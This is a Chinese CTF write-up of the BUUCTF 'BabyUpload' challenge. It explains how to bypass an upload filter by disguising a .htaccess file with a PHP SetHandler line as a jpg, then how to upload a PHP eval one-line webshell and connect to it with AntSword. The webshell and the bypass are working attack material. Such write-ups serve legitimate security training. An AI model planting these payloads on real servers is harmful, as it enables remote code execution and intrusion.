BUUCTF-web刷题篇(17)

26.BabyUpload

源码:https://github.com/imaginiso/GXY_CTF/tree/master/Web/babyupload

查看题目源码:

写着:SetHandler application/x-httpd-php

通过源码可以看出这道文件上传题目主要还是考察.htaccess配置文件的特性,倘若不先上传.htaccess配置文件,那么后台服务器就无法解析php代码,这个是需要注意的。

.htaccess配置文件特性:

概述来说,.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

.htaccess配置文件格式

<FileMatch "xxx.jpg>

SetHandler application/x-httpd-php

创建.htaccess配置文件

SetHandler application/x-httpd-php

Kali或者主机创建txt文件输入上面的配置命令,并将其命名为111.jpg文件

上传.htaccess配置文件(111.jpg):

BP抓包:

这里猜测.htaccess文件被过滤,所以不能直接上传.htaccess配置文件,先截断数据包再把上传的111.jpg文件更名为.htaccess文件,如图:

action到repeater,并send,htaccess配置文件上传成功:

上传成功,现在我们的jpg一句话木马文件就可以上传并且可以当作php代码来执行了

创建木马文件

<script language='php'>@eval($_REQUEST['shell']);</script>

在Kali里面创建txt文件,输入以上代码,并将其保存命名为flag.jpg

上传木马文件

action到repeater中,send之后上传成功,访问上传路径链接:

http://b326957d-5245-4605-9d10-cf909d20a176.node5.buuoj.cn:81/upload/88a808fad157cecb392184390efb5967/flag.jpg

并未呈现图片格式,访问成功。

中国蚁剑连接:

连接成功后根目录后找到flag。

相关推荐
晓幂5 小时前
【2025】HECTF
笔记·学习·web安全
上海云盾-高防顾问5 小时前
中小企业低成本渗透测试实操指南
网络协议·web安全·网络安全
tianyuanwo6 小时前
合并XFS分区:将独立分区安全融入LVM的完整指南
安全·lvm
智驱力人工智能6 小时前
守护流动的规则 基于视觉分析的穿越导流线区检测技术工程实践 交通路口导流区穿越实时预警技术 智慧交通部署指南
人工智能·opencv·安全·目标检测·计算机视觉·cnn·边缘计算
2501_945837438 小时前
云服务器的防护体系构建之道
网络·安全
heartbeat..10 小时前
Spring MVC 全面详解(Java 主流 Web 开发框架)
java·网络·spring·mvc·web
小红卒13 小时前
海康威视未授权访问漏洞 (CVE-2017-7921)复现研究
安全
Data-Miner15 小时前
精品可编辑PPT | 大模型与智能体安全风险治理与防护
安全
Bug.ink16 小时前
BUUCTF——WEB(7)
web安全·网络安全·buuctf
咕噜企业分发小米16 小时前
直播云服务器安全防护有哪些最新的技术趋势?
运维·服务器·安全